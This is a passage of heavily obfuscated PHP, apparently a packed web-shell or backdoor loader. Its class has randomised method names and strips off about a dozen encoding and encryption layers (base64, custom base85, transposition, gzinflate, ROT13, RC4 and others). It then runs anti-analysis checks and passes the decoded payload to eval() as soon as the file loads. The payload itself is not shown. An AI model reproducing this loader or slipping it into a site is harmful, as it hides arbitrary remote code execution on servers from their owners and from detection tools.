hHZTxQJZaNpQ($this->hHZIJBAeDNpQ($this->hHZJRIjglNpQ)); $offset=(strlen($key)%10)+5; $len=strlen($str); $half=floor($len/2)+$offset; if($half>$len)$half=$len; $part1=substr($str,0,$half); $part2=substr($str,$half); return strrev($part1).$part2; } private function hHZbasyiLNpQ($str){return str_rot13($str);} private function hHZpIrkzdNpQ($str){ $result=''; $len=strlen($str); for($i=0;$i<$len;$i++){ $result.=chr(ord($str[$i])-7); } return $result; } private function hHZhhmpjRNpQ($str){return hex2bin($str);} private function hHZMKLpTcNpQ($str){ $key=$this->hHZTxQJZaNpQ($this->hHZIJBAeDNpQ($this->hHZJRIjglNpQ)); $keyLen=strlen($key); $len=strlen($str); $result=str_repeat(' ',$len); for($i=0;$i<$len;$i++){ $newPos=($i+$keyLen)%$len; $result[$newPos]=$str[$i]; } return $result; } private function hHZBMnqWONpQ($data){ $chars='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ.-:+=^!/*?&<>()[]{}@%$#'; $charMap=array_flip(str_split($chars)); $out=''; $len=strlen($data); for($i=0;$i<$len;$i+=5){ $chunk=substr($data,$i,5); $padding=5-strlen($chunk); $chunk.=str_repeat('u',$padding); $value=0; for($j=0;$j<5;$j++){ $value=$value*85+$charMap[$chunk[$j]]; } $decoded=''; for($j=3;$j>=0;$j--){ $decoded.=chr(($value>>(8*$j))&0xFF); } $out.=substr($decoded,0,4-$padding); } return $out; } private function hHZltfjvENpQ($str){ $cols=7; $len=strlen($str); $rows=ceil($len/$cols); $matrix=array_fill(0,$rows,array_fill(0,$cols,'')); $fullCols=$len%$cols; if($fullCols==0)$fullCols=$cols; $pos=0; for($j=0;$j<$cols;$j++){ $colRows=($j<$fullCols)?$rows:$rows-1; for($i=0;$i<$colRows;$i++){ if($pos<$len){ $matrix[$i][$j]=$str[$pos++]; } } } $result=''; for($i=0;$i<$rows;$i++){ for($j=0;$j<$cols;$j++){ if($matrix[$i][$j]!==''){ $result.=$matrix[$i][$j]; } } } return $result; } function hHZyZifPrNpQ(){ $raw=$this->hHZIJBAeDNpQ($this->hHZfccpMZNpQ); $cleaned=$this->hHZBNOHWANpQ($raw); $decoded1=$this->hHZGzzRZrNpQ($cleaned); if($decoded1===false){ die("[ERROR] Base64 decode awal gagal"); } $untransposed=$this->hHZltfjvENpQ($decoded1); $base85Decoded=$this->hHZBMnqWONpQ($untransposed); $customDecoded=$this->hHZmrUQKLNpQ($base85Decoded); $reversed=$this->hHZVQGOKxNpQ($customDecoded); $unshuffled=$this->hHZMKLpTcNpQ($reversed); $decoded2=$this->hHZGzzRZrNpQ($unshuffled); if($decoded2===false){ die("[ERROR] Base64 decode hex gagal"); } $hexDecoded=$this->hHZhhmpjRNpQ($decoded2); if($hexDecoded===false){ die("[ERROR] Hex decode gagal"); } $keyRaw=$this->hHZIJBAeDNpQ($this->hHZJRIjglNpQ); $key=$this->hHZTxQJZaNpQ($keyRaw); $decrypted=$this->hHZpTkXsANpQ($hexDecoded,$key); $inflated=$this->hHZbsEqTTNpQ($decrypted); if($inflated===false){ die("[ERROR] gzinflate gagal"); } $caesared=$this->hHZpIrkzdNpQ($inflated); $rot13ed=$this->hHZbasyiLNpQ($caesared); $rc4KeyRaw=$this->hHZIJBAeDNpQ($this->hHZsEHHDKNpQ); $rc4Key=$this->hHZTxQJZaNpQ($rc4KeyRaw); $finalDecrypted=$this->hHZHPoVkdNpQ($rot13ed,$rc4Key); $this->hHZFMsbKVNpQ(); $this->hHZRivSLPNpQ($inflated,$cleaned); if($this->hHZavGKfkNpQ($inflated)){ die("Abnormal execution."); } if($this->hHZhYWmggNpQ()){ $tmp=md5($finalDecrypted); } return eval($finalDecrypted); } } $obj=new hHZmVcuxfNpQ(); $obj->hHZyZifPrNpQ();